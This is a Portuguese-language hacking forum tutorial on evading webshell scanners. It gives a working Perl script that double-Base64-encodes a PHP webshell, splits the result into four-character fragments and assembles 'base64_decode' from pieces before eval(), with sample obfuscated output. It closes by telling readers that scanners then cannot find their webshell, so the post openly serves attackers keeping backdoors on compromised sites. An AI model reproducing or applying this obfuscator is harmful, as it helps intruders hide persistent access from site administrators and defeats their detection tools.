Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Bypass Webshell Detectors

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Bypass Webshell Detectors

    Hoje vi um método de evasão de Webshell Detectors que me parece pouco conhecido, pelomenos não tinha visto publicamente ainda e resolvi compartilhar com quem ainda não conheçe.

    Segue:

    Um Webshell Detector varre diretórios de um site atrás de uma Webshell como por exemplo c99, c100, r57 e outras bem antigas, ele faz isto através de expressões regulares como determinadas palavras, suponhamos que a palavra "teste" fosse uma palavra marcada em uma lista negra, o Webshell Detector iria vasculhar todos os códigos de todos os diretórios do site atrás da palavra "teste" e iria passar em qual arquivo e qual diretório está a palavra, assim facilita o administrador para detecção de uma Webshell em um site com muitos arquivos.

    Sabendo disso os crackers começaram criptografar os códigos com Base64 mas logo isto foi resolvido por parte dos "Vasculhadores", scanners de web shells, ou chamem como quiserem.

    Então se vc for criptografar um texto como este abaixo em Base64 ficaria como:

    teste

    123456 testando um dois tres

    testando

    test

    etc.
    Resultado pós Base64

    dGVzdGUNCg0KMTIzNDU2IHRlc3RhbmRvIHVtIGRvaXMgdHJlcw 0KDQp0ZXN0YW5kbw0KDQp0ZXN0DQoNCmV0Yy4=
    Até aqui isto é bem conhecido.

    Agora com este código abaixo vc pode cortar a criptografia em 4 caracteres para burlar os WebShell Detectors.

    OBS: Windows necessita baixar Active Perl para um funcionamento correto.

    # IMPORTANTE: VC PRECISA DELETAR <?php e ?> APOS ISSO USE ESSA TOOL.



    use MIME::Base64;





    unless ($ARGV == 2) { &help; }



    open(FILEA, "<", $ARGV[0]);

    open(FILEB, ">>", $ARGV[1]);



    @shell = <FILEA>;

    $shell = join("", @shell);


    $base1 = encode_base64($shell);

    $base2 = encode_base64($base1);



    $size = length($base2);

    $i = 0;



    print FILEB '<?php $z = ""; ';



    while ($i < $size) {

    $prob = substr($base2, $i, 4);

    print FILEB '$z .= "'.$prob.'";'."\n";

    $i = $i + 4;

    }



    print FILEB '$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); EVAL ($string); ?>';

    close(FILEA);

    close(FILEB);

    sub help {
    print q(
    COMANDO: perl hideshell.pl SUA_SHELL.php RESULTADO_SHELL_CODIFICADA.php

    IMPORTANTE: VC PRECISA DELETAR <?php e ?> APOS ISSO USE ESSA TOOL.
    );
    }
    O código está bem explicado, e o resultado do primeiro texto acima ficaria desta forma pós criptografia:

    <?php $z = ""; $z .= "ZEdW";
    $z .= "emRH";
    $z .= "VUtD";
    $z .= "akV5";
    $z .= "TXpR";
    $z .= "MU5p";
    $z .= "QjBa";
    $z .= "WE4w";
    $z .= "WVc1";
    $z .= "a2J5";
    $z .= "QjFi";
    $z .= "U0Jr";
    $z .= "YjJs";
    $z .= "eklI";
    $z .= "Unla";
    $z .= "WE1L";
    $z .= "Q25S";
    $z .= "bGMz";
    $z .= "Umhi";
    $z .= "
    bVJ";
    $z .= "2Q2d";
    $z .= "wMFp";
    $z .= "YTjB";
    $z .= "DZ3B";
    $z .= "sZEd";
    $z .= "NdQo";
    $z .= "=
    ";
    $a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); EVAL ($string); ?>
    Desta maneira os vasculhadores não conseguem detectar a sua Webshell e vc consegue proseguir com sua brincadeira.

    Fonte: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Similar Threads
X
Working...
X